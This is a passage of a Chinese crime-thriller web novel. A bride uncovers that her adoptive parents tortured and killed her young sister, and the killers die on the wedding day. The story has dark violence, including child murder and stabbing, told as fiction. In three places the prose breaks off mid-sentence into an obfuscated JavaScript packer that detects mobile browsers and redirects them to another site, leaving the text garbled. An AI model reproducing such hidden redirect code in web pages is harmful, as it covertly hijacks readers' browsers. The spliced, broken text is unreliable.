我口不择言地问完,小歆点了几下房间内有大片血迹的地方,“你看墙上那些血迹,是动脉割裂后喷射形成的。一次性流那么多血,就算不死也得进抢救室。” “那个妹妹就是被关在这里……”我不敢说出剩下的话。 小歆默默错开视线,算是肯定了我的猜想。 我想起求救纸条上的内容,顿感呼吸不顺,莫名的心痛让我不由得喊道:“可她才八岁!” 或许是被杀人犯养大的我也染上了他们的血的缘故。听到这里,我并没有觉得无比恐惧或者想要逃离,而是从心底涌出了一股巨大的杀意。我知道这样不对,也因为自己变成这样而感到恐怖。只是这种毫无缘由萌生出来的恶意,我无论如何也没有办法将其压制下去。 白月从一开始跑到楼上就未曾下来。没有人推温芙,他就一直面色平平地卡在门框里。我觉得这一幕有点诡异,对认真研究地下室的小歆说道:“他是不是有点……过于淡定了?” 小歆眉毛一挑,看了眼温芙又看向我,最后压低声音说:“是吗?我觉得还好。再说,你也没有表现出一惊一乍嘛……所以说呀,现实没有电视剧里那么夸张。”她没有凑到我耳边,只是象征性的小声,我猜那位卡在门框里的那位少年应该不难听到。 地下室里慢慢安静下来。 小歆蹲着面对一个类似于古代电视剧里藏宝箱一样的东西,从口袋里拿出几根铁丝,撬开了上面生锈的单开型锁。 随着她打开箱子的动作,一股腐烂的恶臭再次席卷我们的鼻腔,我差点恶心得把早餐全部吐出来。 小歆只是停在原地没有动作。 我顿感大事不妙,下意识想靠近她,却被她打断了。“我想和你单独聊聊。”她没有给我反应的时间,迅速关上了箱子,将锁恢复原状。 温芙很识趣地叫白月下来推他走。 “你想看吗?”小歆冷不丁问我。 我觉得她这样的问法肯定有古怪,但去推测小歆的逻辑肯定不会有收获,于是我直截了当地问她:“我该看吗?” 她点头,“你该看,但是看完之后呢?” 这个问题让我有点摸不着头脑。看完之后……全都是和我八竿子打不着的人,就算我再不忿,也不过是气愤难平,心凉彻底吧。 我没有回答。 小歆缓慢地说:“我们去楼上打个电话好吗?” 我点了点头,总觉得一会儿会听到令人毛骨悚然的事实,心中强烈不安。 “记得在门垫上多踩几脚。门垫和地下室里都有血迹,多一点也看不出来,可要是把血带到别的地方就麻烦了。” “……好。” 8. 不巧婚礼4 *** 我们在楼上坐着喝茶,这样即使养父母突然回来了,我也可以搪塞说是朋友来家里做客,打消他们的怀疑。 小歆抿了口茶,慢悠悠地问:“小苏丽说她只剩你这一个亲人了,不知道你是不是还记得?” “我怎么会忘呢?可是为什么……” 她没等我问完,用两指压住写着一串电话号码的纸条,沿桌面推到我的面前,“打个电话。” 拿起纸条,奇怪的问:“这是哪里的号码?” “杯炬福利院,抚养你和你妹妹的地方。那里会告诉你一件惊人的事情。我建议你打电话的时候最好不要留在这里,打完再告诉我你是否还想看箱子里面的……”小歆稍停顿一下,似乎是在寻找合适的形容词,最后她轻轻吐出一个字:“她。” 你是否还想看箱子里面的她?你是否还想看箱子里面的小苏丽? 在这种关键时刻的电话肯定有非同一般的意义。古斯塔夫·勒庞曾在《乌合之众》一书中说过,人们在智力水平上有很大的差异,但在本能和情感方面很相似。在属于情感领域的每件事情上,就连最杰出的能人异士也无法做到比凡夫俗子高明多少。 当破解秘密的钥匙在手,无论何人都一定会去探索门内的禁忌。纵使万劫不复,我也会承担最后的结果,因为那是我自己的选择,怨不得任何人。可心怀侥幸也是人类不可避免的本能恶习,我企图用最简单的问句从小歆口中套出故事的结局…… “我还能回来的,对吗?” 小歆站在我的书架前,手背隔空划过一排排书的书脊,左手小拇指无意间碰到了书架侧面的木板。 “回哪儿?”她果然没有被我套进去,即刻反问我。 对啊,如果小歆的推断属实,那么这里就不是我的家……我要回哪里呢? “我有位朋友和我说,当你发自内心想前往某地时,你的双脚就已经踏在那片土地上了。” 我跟着小歆的手指扫视书架,目光定格在其中一本书的书名上。 《穰穰满家》……穰穰满家,形容获得丰收,粮食满仓。 从后脚跨出连接卧室和走廊的压条到对方接通电话的提示音响起,这短暂的十几秒钟内,我的脑子里无比清晰地浮现出书里的一段话: 【——当你拥有超越时空的强大信念之时,你便已经身处向往之地。或是硕果累累的金色麦田,或是巧夺天工的江山湖海,不只呼伦贝尔有灿烂星河,也不止杭州西湖有清风拂面。无论何地都有阳光灿烂、月光皎洁,即使身陷囹圄,世界也总为你留有生机。】 还不等脑海中的余音散尽,熟悉的女声从电话那头传来:“您好,这里是杯炬福利院。” “刘院长,我是苏归宜。” ………… 原来,我的亲生父母并没有在游轮沉没的那一刻死亡,而是三年后,在离我不远的省份陨命。当年轮船上由于引擎爆炸而失火,有人放出紧急逃脱用的橡皮艇,一部分人眼疾手快,从轮船上跳下抓住救生艇逃过一劫——我的亲生父母就在其中。 他们乘着橡皮艇漂流到了某个资产家的私人小岛上,在那里度过了半年的时间。也就是在那个时候,他们有了妹妹。 半年后,那位资产家偶然兴起,带着家人朋友去度假,这才使我的亲生父母彻底得救。 母亲在邻省的医院生下妹妹,然后四处寻找我。 轮船失事的时候,我本来住在乡下的外祖母家。外祖母在新闻上听到这个消息,过度悲伤去世了。 父母寻找了我好久都没有结果,然而他们并没有停止搜寻,这让我非常感动。 可惜天不遂人愿,老天好像特别想取走我亲生父母的性命。 妹妹两岁生日的当天,他们发生了一起严重的交通意外。 他们原本打算开车去附近的餐厅给妹妹庆生,却不巧迎面飞来一辆急速行驶的轿车,毫不留情地夺走了我父母的性命。母亲把妹妹紧紧拥在怀里,忍受着头破血流的痛苦也绝不松手。 好在,妹妹活了下来。 轿车司机说是因为车子不受控制才撞过来,警方经过多方查验,肯定了他的说法。我不是想要怪罪于他,毕竟他也是那次事件的受害者。更何况他还把妹妹送进了我所在的福利院,常常去看望她。虽说那时的我已经被现在的养父母领走,无缘一见就是了。 院长也是前不久才听说了这一系列经过,怕我无法接受,遂没告诉我。 电话里的信息到这里就戛然而止。 我在省外的大学读书,养父母又来到那家福利院,说还想领养一个孩子,理由美其名曰是喜欢。他们选中妹妹,给她改名苏丽,把她带回家,开始了恶毒的计划…… 原来他们一开始就是想效仿“苏丽案*”,并用里面的手法杀害妹妹。 我背靠着墙壁滑坐到地上,一个人恍惚了好久。 ………… 一只手伸到我面前,是叶无歆。 我犹豫片刻,还是搭上了她的手,任由她把我拉起来。 “你还好吗?” “没事。”随着声音落下,眼泪也要来凑热闹。 “你一个小时都没有回来,刚刚言言火急火燎地打电话跟我说联系不上你,听到我在你家做客,硬是叫我过来看看……我在这里好像也起不到什么作用,需要我先离开吗?” 我摇摇头,径自朝房间走去。 回到房间,我跌坐在沙发上像是失了魂。小歆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305936|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠在窗边,眺望远处的景色。 温芙的目光还是一刻也不能从她身上剥离。 白月杵在轮椅把手上,犹豫着开口:“宜姐姐,你不要紧吧?” 好不容易压下去的情绪又突然间涌上心口,苦涩的眼泪不受控制地从眼眶里溢出,滴落到皮质沙发上,在安静的房间里发出声响。 “不用拘着,我们不是外人。”小歆没有看我,可能是顾及到我不想在别人的注视下哭泣。 没错,她是我生命中最重要的人之一,是个并非亲人却胜似亲人的至交好友。在她面前,我不用伪装成一个听话懂事的优良少女,或者一个成熟稳重的大姐姐。这一点,即便是在阿舒面前也是不可能做到的。 小歆是我最后的底牌和依靠,只要有她在,我就可以毫无顾虑地去做任何我想做的事情。她是唯一一个可以让我放心把性命交付的人。 我一边想着,一边用失神的眼睛去望她。 太阳开始下落,靠在窗边的小歆沐浴在夕阳的余晖之下。我从光和影的分界线中辨别出小歆的侧脸,她好像在喃喃自语,无声的道歉。 她是在向我道歉吗?后悔没有早点告诉我,还是觉得压根就不应该告诉我? 我双眼发黑,只觉得世界离我而去,哭泣到分不清手脚的方位。 “为什么他们的目标不是我?” 小歆没有回头接我的话,温芙帮忙打了圆场。 “无论怎么说,还是不要去猜测杀人狂魔的想法为好。” “因为他们也知道你父母的事。”小歆仿佛要和落霞融为一体,“苏丽是超生的二胎,是她父母拼命想要掩饰的存在。她和你妹妹是一样的,她们的存在都应该是个秘密。” 我再也压不住心头的悲痛,崩溃地号啕大哭起来。 妹妹临死之前到底经历了怎样非人的折磨?我无法想象。求救信上的血迹越来越多,被发现的位置也越来越接近地面,这就说明妹妹的生命在无止境的折磨中逐渐消失殆尽。事后我虽然发觉,却为时已晚,就这样让她死于非命。小歆说妹妹半个月前才断的气。这么说,我年那仅八岁的妹妹被折磨了将近三年。 要不是因为这两个可恶的妖怪,我差一点就可以和妹妹相认。最该死的是,被他们杀害的远不止我妹妹一人,至少还有整整五条鲜活的生命。正如冉专家所说,仅因为自己内心的黑暗就将他们残忍杀害的行为实在是人神共愤的大罪! 你们恶魔的行径早已发展到无可救药的地步,你们犯下的罪根本就无可救药!走着瞧吧,我一定会让你们付出应有的代价!我要让你们向地狱里枉死的冤魂偿命! 对不起,爸爸妈妈,还有妹妹。 正义的转折就是这么理所应当。 9. 不巧婚礼5 5 一家人开开心心的聚在一起吃饭,这是电影或者电视剧里常常会出现的情节,光是看着就异常温馨幸福,只可惜我和我身边的人好像永远都无法获得此项殊荣。 就在前几天,电视节目里的犯罪心理学也曾说过,最近连环杀人犯大肆行凶,很多人宅在家里不敢出来。对于我来说,这些都无所谓。因为老妈不喜欢我回家,所以我向来都只能住在空无一人的学校宿舍里。 从小到大,老妈都只会关心哥哥,她意志无比坚定,即使哥哥是个彻头彻尾的废物也无法改变。尽管如此,我也并不讨厌哥哥,因为他待我至少比老妈好些,哪怕只是一点。 我的成绩比哥哥好上太多,可是老妈一点都不关心。上大学之前,虽然都常在同一屋檐下生活,她却根本不知道我上的是几年级,整天只会关心她的宝贝儿子吃得好不好?睡得好不好?为什么成绩越来越差?怎么才能让他不那么倔强?她为什么老嫌自己烦等等。 我不理解这样的行为是出于什么心境,她整天像个冤魂一样缠着哥哥,哥哥不烦她才见了鬼。自个儿就是搞心理学的,儿子却得了心理疾病。整天有事没事就去找别人诉苦,哭诉自己有多不容易,这种自我感动的家长真是叫人想怪都怪不了。 我哥哥叫冉莫失,他的名字是爸妈仔细思索了好几天才决定的,而我的名字只在一瞬间就决定了。貌似还有一重原因——那就是当时父母的关系已经闹僵,没有多余的功夫给我起名字——当然,后面这个原因百分之一万是托词。 话说回来,现在说这些都已经没有意义了,因为哥哥早就已经被那两个连环杀人魔给残忍杀害了。 老妈在电视上说哥哥是因为想出去和朋友玩才遇害的,其实不然,当天哥哥给我发过消息,内容是老妈在家里不停抱怨自己付出了多少,问他为什么不能懂点事,哥哥实在是忍受不了才摔门出去的。 不愿意找工作,只知道闲在家里?根本没这回事。哥哥面试过很多工作,老妈都各种不如意,强行逼着哥哥放弃。老妈口中的“狐朋狗友”,其实只是几个平平常常的正规大学同学而已。 老妈不愿意承认自己的多疑是引发悲剧的主要原因,把所有责任都推卸到哥哥和素未谋面的爸爸身上。她居然还向全世界哭诉自己的悲惨经历,赞颂那伟大的母爱,这真是我这几年听过最可笑的笑话。 我大学时期的朋友要在这几天举办婚礼,我认为有点不太合适,当然我也有劝过他们,希望他们能等过段时间风平浪静再举办喜事……意料之中,他们没有听,认为爱情可以抵挡一切艰难苦闷,也可以抵挡那两个连环杀人魔。既然爱情故事的男女主人公都这样说了,我自然没有什么立场去加以阻拦,随他们去好了。 谢舒是我舍友恋人的好哥们儿。至于归宜,则是借参加同一俱乐部的契机结识。 我回家的那天,老妈一脸莫名其妙,原来她根本不知道我已经大学毕业,全身心都投入到她的废物儿子身上。 在别人看来,她从未亏待过我。从小到大,她每隔一段时间就会毫不吝啬的给我一大笔钱,然后把我扔去寄宿学校,没什么大事不准回家,无论是小学、中学还是大学都不例外。 每当我向她抱怨不重视我的时候,她总是说:“我给了你这么多钱,难道对你还不够好吗?你到底要我怎样啊?” 如果我是贫困山区的孩子,或许真的会对她感恩戴德(这里没有任何歧视的意思)。可惜她忘了,我们并不是资助和被资助的关系。她是我的亲生母亲。 原谅我对某些同学的羡慕吧,那种幻想中的生活确实难得。我从来没有告诉过她,因为母亲的厌恶和疏离,我受到了怎样的委屈和伤害。可她有一天居然主动提起了这件事,并表示是我太过于矫情。 小女孩因为成绩优异、长相还行,被差生团体拳打脚踢的情景我到现在都记得一清二楚。 我没有做错什么,可并不是所有的恶意都需要一个光明正大的理由。他们有一次告诉我,他们针对我的原因不是成绩,也并非长相,单纯是因为一个没有父母庇佑的家伙比较好欺负罢了。一朝被蛇咬,十年怕井绳,我不想再回顾那些伤口,只是告诉她:“如果我活的不像孤儿,会比现在更好。” 她蔑视着我,非常煞有介事地反驳:“明明就是你的不对啊!也没见所有单亲家庭的孩子都要死要活的。你要是一个拥有着强大心智的人,怎么可能会化解不了这些小小的伤害呢?总的来说,只能怪你心智太不成熟,别什么问题都往别人身上推,想想自己的原因。怎么?你想要责备我吗?你想忽视掉我对你付出的一切吗?你送过我母亲节礼物吗?你为这个家付出过什么吗?你怎么就长不大呀?孩子,你不要太自私了!可能是格局不同吧,我不能要求你想的长远。你还只是个孩子,还体会不到我的辛劳,等你长大就明白了。” 她说着说着,甚至还委屈地哭了起来。 “不就是少给了你一点母爱吗?除了这个,你还有什么比别人差?我有少给过你钱吗?我缺了你衣食住行的费用吗?你的零花钱比很多单亲家庭的孩子都要多得多!那些父母早亡,家庭贫困的孩子都没说什么,你有什么资格埋怨?我告诉你,没有钱你谈什么感受?我一天天这么辛苦,还要在你这遭罪,难道只是为了我自己吗?你就是太顾及自己的感受了,一点都不顾及别人会怎么想。拜托,你稍微懂事一点行不行?” 我知道家家有本难念的经,但我有尽力去做好每一件力所能及的事。我努力学习,取得了优异的成绩;认真处理同学老师间的关系,获得了很好的风评;我从来不像哥哥一样顶撞她,在邻里之间都是一个听话乖巧、性格温顺的好孩子。然而她对此的评价只是:“是这样吗?”仅此而已。 听说小孩子入睡之前,母亲都会在他们床头讲童话故事。是不是很像一些少儿绘本里的情节?我从出生就是一个人入睡,没有听过什么睡前故事,更不知道那是什么感受。 上小学以前,没有合适的寄宿幼儿园,老妈不得不让我留在家里。在楼下玩耍,一个刚会走路的小孩在我身边摔倒,路过的老妈问都没问一声,直接就指着我鼻子骂:“你身为姐姐,为什么要故意推倒比你小的孩子?你小小年纪心肠怎么如此歹毒?有你这个女儿是我的耻辱!” 让着小朋友没什么不对,但她真的看见我推人了吗?最后还是小孩子哭着说是被石头绊倒的,她才勉强消气。 有一次,哥哥想抢我用零花钱买的棒棒糖,我以为老妈会让哥哥还我,没想到她说的却是:“小失是你哥哥,你就给他吃能少块肉吗?你这孩子怎么不知道尊老爱幼?” 我倒是不介意这颗棒棒糖最后到谁的肚子里,不过这个话语未免太过于牵强。面对个一言不发就动手行抢,而且年龄只大你一岁半的哥哥,怎么就能扯到尊老爱幼的话题上? 老妈的反应让我误以为她只是重男轻女的封建家长,她只是更喜欢哥哥而已。直到哥哥去世,我见到在医院里看到梦呓的老妈时,才猛然发现,原来她不是比起我而言更喜欢哥哥,而是根本不喜欢我。换句话说,她很讨厌这个叫冉一一的孩子。 我问过他们当年的大学同学,原因特别朴实无华——因为父亲是在老妈怀着我的时候跑掉的,老妈认为都是因为我,她喜欢的男人才会出去沾花惹草。而喜欢哥哥的原因正好相反,因为她怀着哥哥的时候,父亲对她特别上心。 据我找到的好几位叔叔阿姨表示,他们二人由于性格不合,早在我出生之前就闹出了嫌隙。父亲生性浪荡自由,老妈偏喜欢管着他,让父亲头疼的不得了。 她在电视采访上说父亲为了救她而受伤,同样是不无夸张的描述。比我大十来岁的表姐说是她当时快要掉下山崖,站在旁边的父亲下意识拉住她,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305937|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边的树枝划了一道小伤口。由于就医不及时,留下了一道不大,但是无法复原的伤疤。 一个是从未见过面的父亲,一个是对我不冷不热的母亲,他们两个我都不感兴趣,唯一感兴趣的是老妈说她知道犯人是谁。 基于这个理由,我才跟老妈说上话。然而她完全不打算告诉我,诡异的笑着,嘴里呢喃个不停,不知道是说给谁听。 “那是我的秘密,是我跟他的秘密,怎么能告诉别人呢……” 其实早在哥哥被杀害的半个月前,我就已经从学校回来了。由于打不通老妈的电话,我只得跟哥哥联系,并请哥哥转告她我要回来的消息。 我从机场出来的那天下午,哥哥来接我的时候悄悄告诉我,他最近和老妈闹得很僵,让我先去酒店躲几天。出事的那天晚上,哥哥给我传完信息,我就隐约觉得有点心悸,回了很多条语音,问他在哪?是不是还好? 我等了很久都没有回复,打电话也不接。本来我可以直接问老妈哥哥的情况,但考虑到哥哥八成不会跟她说,所以就没有这么做。我盯着手机到凌晨两点,由于实在扛不住睡意,便沉沉睡了过去。 第二天清晨,公安局打来的电话把我吵醒。他们说哥哥已经被人杀害,他通讯录里最后一通电话是给我打的,所以优先联络我。这么说,老妈一整晚都没给他最疼爱的儿子打过一个电话? 到了警局,一开始给我引路女警怕我承受不住,没带我去看哥哥的尸体。但我认为还是应该见哥哥最后一面,于是坚持让她带我过去。 老妈没有在节目里对哥哥的死状添油加醋,确实非常惨不忍睹。虽然不是天天生活在一起,但我还是没有办法直面被开膛破肚的哥哥,在警局接受完询问就回去了。 老妈比我来的晚,她看见了我,但是没有理睬我,可能还觉得我碍眼吧。我从她身边走过,她也没有看我一眼,只是一味地在尸体旁边痛哭流涕。猛然间,她看到哥哥指尖的伤痕,像是想到了什么似的,又是哭又是笑,分辨不出具体是什么表情。她跟警察说想一个人待会儿,独自躲到公园最偏僻的角落,不知道在干什么。 刚发生完这件令人毛骨悚然的事情,我当然不愿意回家去面对老妈的责问,去了这几日居住的酒店。 我用客房服务点了几瓶啤酒,一心只想着借酒消愁,却忘了借酒消愁,愁只会更愁。酒店服务员刚把啤酒送到房间,我还没来得及喝上几口,就又接到了一个陌生的来电。 电话那头的人说自己是老妈的邻居,她发现老妈晕倒在客厅,已经叫了救护车,让我快点到医院去。尽管脑袋里嗡嗡作响,头疼得不行,但我仍然迅速打车去医院守了老妈一晚上。 隔天早上睁开眼睛,我发现老妈盯着我看。 “你怎么在这儿?”她眼神满是厌恶,语气里透着反感。 “你晕倒了,我来照顾你。”我也看不惯她的嘴脸,有些生气。她自己昏倒住院,女儿来照顾她有什么好奇怪的?脸上的表情像是遇到冤家一样,真是让我一肚子火。 “我不需要,赶紧给我滚开,我不想见到你。”她皱着眉想了想,又说:“过会儿我打一笔钱到你卡上,最近别出现在我面前。” 尽管听到了她梦呓的内容,我还是搞不明白她为什么这么讨厌我。无论她跟父亲之间有什么隔阂,也不应该直接怪罪到我的身上呀! 不愿再看她拧紧的眉头,我咬着牙拎起包离开。 按理说,我对这种态度应该习惯了才对,可不知是不是一晚上没怎么睡觉的缘故,我竟然觉得心里有种说不出的难受。 刚走出门,我顿时感到一阵头晕目眩,坐倒在病房门口的长椅上休息。 病房里面好像传来对话的声音,那声音很平静。 我感觉有点奇怪。老妈住的是单人病房,对话可以用打电话来解释,可那平淡的语气又算什么? 10. 不巧婚礼5 *** 归宜邀请我去做她的伴娘,因此我也参加了他们婚礼的排练。 谢舒和苏归宜两人可谓是一对郎才女貌的神仙伴侣。他们在台上深情相望、心心相印,举手投足之间都流露着爱情的痕迹。这对山盟海誓的情侣马上就会变成至死不渝的夫妻,真是令人羡慕得紧。 彩排的过程中,归宜对站位特别重视,反复确认过好几次用于定位的胶带,在撒花环节尤其明显。谢舒半开玩笑地把它解释为“新婚焦虑症”或者科学认证过的“婚前症候群”,认为单纯是紧张和激动而已。 我刚开始也是这样认为的,直到她因为胶带位置的一小点变动和婚礼司仪大吵一架的时候,我才恍然觉得有点儿不大对劲。去问归宜,她的解释却和谢舒一模一样。尽管我觉得奇怪,但是好像没有哪里不合理,或许是因为哥哥的死和最近发生的事情让我疑神疑鬼吧。 归宜只邀请了一个人来参观排练,她的名字叫叶无歆,是一个十六岁左右的女孩,气质上佳,颇有一种“生人勿近”的高冷美感。彩排一开始我就注意到她了,因为归宜总是时不时的跑过去和她说上几句话。 排练的时间是周三到周五的三天。按理说她这个年龄的人应该在上学才对,可她总是云淡风轻地坐在婚礼会场,非常悠闲地看着一些我几乎完全接触不到的书。 这种人要不是辍学在家的废物青年,就是优秀到连学校都无力管辖的超级学神。眼前的少女绝对是后者。我们排练的时候她一直都在,偶尔会提一些排练上的建议,但大部分时间是在看书,手上有意无意地把玩着一枚硬币。 归宜说叶无歆是她的青梅,从她刚上高中的时候就认识了,关系非常要好。我对她很在意,觉得她可能会知道归宜的怪异之处,所以我主动去跟她谈话。 “你好,我叫冉一一。” 她把视线从某行化学式上移开,缓缓转向我。抛开她身上那股淡淡的消毒水味不谈,我总觉得只要靠近她方圆几米的范围之内,就会被一种无法言说的压力所笼罩,叫人发怵。 “有事吗?” “没,就是……你有没有觉得归宜哪里不太对劲?” 她的目光落回书本上。 “有吗?可能是紧张吧。” 既然归宜最好的朋友都这么说,应该确实是我太多心了。 归宜看见我们,跑过来问:“一一,你和小歆认识吗?” 我摇头否认,“不认识,刚刚闲着无聊,找个人聊天。” 归宜又来找她了,她们到底在聊些什么? 我转身假装整理裙摆,归宜压低一些声音,严肃地对叶无歆说:“小歆,交给你了。” 叶无歆面色平平,回了声:“好。” 谢舒和归宜在婚礼上下了不少功夫,场面自然是震撼的无以言表。 一开始,巨大的书本模型打开,穿着婚纱的归宜要从里面捧着花束走出来,随着笼罩整个水晶舞台的花瓣洒落,谢舒会通过升降台出现在归宜身边。双方父母此时从两边进入观众视野,让新郎新娘牵手,戴上婚戒。 说到这里,谢舒的爸妈满心欢喜地来参加排练,而归宜的养父母却从始至终都没有出现过。虽然说是养父母且生性随心所欲,但是养女结婚,他们除了给钱操办婚礼之外,竟连婚礼的排练都不参加,着实有点说不过去。 排练接近尾声,归宜的养父苏房来了一下,四处审视过婚礼现场,什么都没说就离开了。那时,归宜浑身都在轻微颤抖,表情十分不自然。 我之前也见过几次这位伯父,粗略看下来,他和我家里那位一样,都是只会给钱的性格。 叶无歆走到她的身边,安抚似的将手搭在她的肩膀上,意味深长地看了她一眼,归宜这才挤出一个僵硬的微笑,对苏房告别。 酒店客房的电灯出了故障,正逢节假日客满,没有多余的房间,所以我只能临时决定搬回家住。 我想着已经十一点,应该没有机会和老妈打照面,但事实证明我错了。因为老妈看上去才刚回家,连外衣都没来得及换下。 她不肯说出她去了哪里,我当然也不会强求,只径自走回各自的房间锁门睡觉。 *** 就算不是我结婚,我也激动得没怎么睡好觉,不知道新娘子可有好梦。 婚礼正式开始是在下午,但鉴于归宜的养父母昨天没有来排练,我们临时决定今天早上进行最后一次彩排。 文姒和苏房别上胸花,站在后台等候。他们好像早上就吵了一架,两个人都跟吞了炸药似的,一点就炸。 先是文姒说苏房的站位不对,然后苏房很不耐烦地问她有完没完,最后文姒干脆二话不说离开宴会厅。 我不想管人家的闲事,看向大荧幕里归宜的特写回放,发现苏房在帮她整理头纱时,右手的无名指上竟然有一道不大,但能清楚辨别的伤疤。联想到老妈在电视节目上说的话,我不禁有点害怕。 难道说……不可能,世界上有那么多人,碰巧同一个地方受伤的例子应该很多,没什么好奇怪的。 倒是文姒和苏房离开了,我们也就没再继续排练的必要,谢舒说:“午餐会送到各自的包间,不如我们各自回休息室歇会儿,好准备下午的婚礼。” 我们都表示赞同。 吃完午饭,我闲来无事就想到处逛逛,碰巧来到文姒和苏房的包间。出于对苏房指尖伤疤的好奇,我决定留下来偷听他们的谈话。 先说话的是苏房。 “你最喜欢的咖啡,我给你泡好了,喝点提提神。” “就给你个面子。你可别以为这样就万事大吉了。” 气氛安静了片刻。 “你收手吧,不要再继续了。” “我们忍了这么久,这才刚开始你就说要收手。怎么,你怕了?告诉你,我才刚开始呢。” “你还嫌死的人不够多吗?趁警察还没有发现之前还可以回头是岸,不要一错再错下去!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305938|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 听到这句话我惊呆了!归宜的养父母果真就是那两个杀人犯吗? 太多图片不断在脑海里放映,我的头又开始阵阵的疼。被开膛破肚的哥哥;日渐疯癫的老妈;互相拥吻着的谢舒和归宜;不欢而散的文姒和苏房…… “别学那个女人的嘴脸,恶心死了。我就是这样的人,你第一天知道吗?看不惯就滚啊!” “我真是瞎了眼,她就算有千万般不好,也断然不会像你这样一言不合就大开杀戒!” “你说什么?” “我说你比不上我那前妻,你是一个彻头彻尾的毒妇!我没办法继续跟你过下去了,世界上不是只有你一个疯子,我告诉你,你的咖啡……” 利器入体的声响起之后,是男人吃痛的的闷哼声。 我吓得双腿直发抖。 苏房死了吗?他死了的话,文姒要处理尸体就有可能会出来,我再不走说不定会被灭口。这些我都清楚,但我的脚仿佛生来就长在地里,一步也不愿意迈出。 听着越来越近的脚步声,我彻底慌乱。 有人拉住我的胳膊,我吓得想尖叫却发不出声。那人一边小声说着“过来”,一边拽着我躲进拐弯处的视觉死角。 “不要出声。”她把一根手指立在唇前,这样对我说。 我这时才发现,那人竟是叶无歆。 她探头往外看,而我一动都不敢动地靠着墙壁,右手抓着砰砰乱跳的心脏,竭尽全力使它冷静下来。 有什么东西倒地的声音。 我不敢动,叶无歆却直接走出去。 我探出脑袋查看情况,她正蹲在文姒身旁探她的脉搏。 隔壁的房门被打开,走出来一位长发白衣的新娘。我差点忘了,位于案发现场房间两边的,正是叶无歆和苏归宜的包间。墙体的隔音效果不算太好,我能听见的东西,不说别人,她们一定也能听见。 叶无歆收回查探脉搏的手,向归宜摇头。 “没救了,是中毒。” 我慢慢向归宜走去。叶无歆走到房间里面探查另一个人的脉搏,没一会儿又说:“失血过多,死透了。” 我心中五味杂陈。他们就是杀害哥哥的凶手,这样的结局只能说是罪有应得,可我居然觉得被刺死的苏房有点可怜。转头看向归宜,我原本以为她会悲痛或是恐惧,没想到她脸上完全没有一丝一毫的表情,只是紧紧握着双拳。 半晌,她终于咬着牙吐出一句话。 “你们到死都没有一丝忏悔之心,真的是好狠毒!区区这种死状,比起你们手底下的冤魂还是太轻松了。” 叶无歆从包间里走出来,问归宜:“听你的,还要继续吗?” 出于通常的情感带入,我下意识反驳道:“都死人了,当然不能……” 归宜没思考几秒,迅速打断了我,“当然要继续!”说完,她双手搭在我的肩膀上,眼底都盛满了诚恳的请求,“一一,你能帮我个忙吗?求求你了。” 11. 不巧婚礼5 *** 我们把文姒和苏房的尸体拖到休息室的角落里藏起来,并向大家谎称他二人不愿意出席婚礼现场,已经回家去了。 托他们在排练时大闹一通的福,完全没有人怀疑我们的话。宾客们前呼后拥地慢慢来齐,归宜他们在后台准备,不让我掺和,我也不乐意多管闲事讨人嫌,来到前厅查看宾客们的到来情况。 随着宾客们纷纷落座,灯光聚集到水晶舞台正中的大型书本模型上。婚礼男司仪说完可有可无的废话,高喊一声:“有请新娘——苏归宜女士”。 书本模型缓缓打开,身穿雪白婚纱,手捧玫瑰花束,仿若仙女一样的归宜出现在众人视野。不同于平日里见到的新娘子那般喜上眉梢,她的眼底只有皑皑冰霜,那副神情和叶无歆有几分相似。 马上就要到撒花的环节了,我有一种大事不妙的预感。归宜她们并没有告诉我会发生什么事,只是请求我一定要保密文姒和苏房已死的事情。 叶无歆去到后台控制室,我则上台负责添油加醋地介绍谢舒的经历和成就,为新郎的出场做好渲染工作。原本预订的是樱花的粉红色花瓣,但归宜坚持把它们换成红到可怕的月季。 我介绍完毕,走到早就排练好的位置上等待着猩红花瓣的降落。我瞥向归宜,发现她手中的花束已经不翼而飞,现在正微微摊开双手等待着什么。 花瓣如雨落下。 我死死盯着她,只见有重物掉落在她眼前,她精准无误地接住那东西,重力加速度的冲击使她跌坐在地上。 谢舒此时站在升降台上,额头已经从地板的暗门探出来。 因为花瓣遮挡了视线,所以我看不清他们脸上的表情。 花瓣雨不到十几秒就彻底落完,暴露出被红色完全覆盖出水晶舞台。在场所有人全都面色一鸷,出声尖叫起来,唯有归宜一人例外。 归宜抱着的是一具骨瘦如柴、满身伤痕血迹,就连嘴巴都被缝起来的孩童尸体。归宜抱着小女孩的尸体跪坐在地上,将小小的尸体埋进白色婚纱的怀抱里,又将自己埋进鲜红的花瓣海洋里。 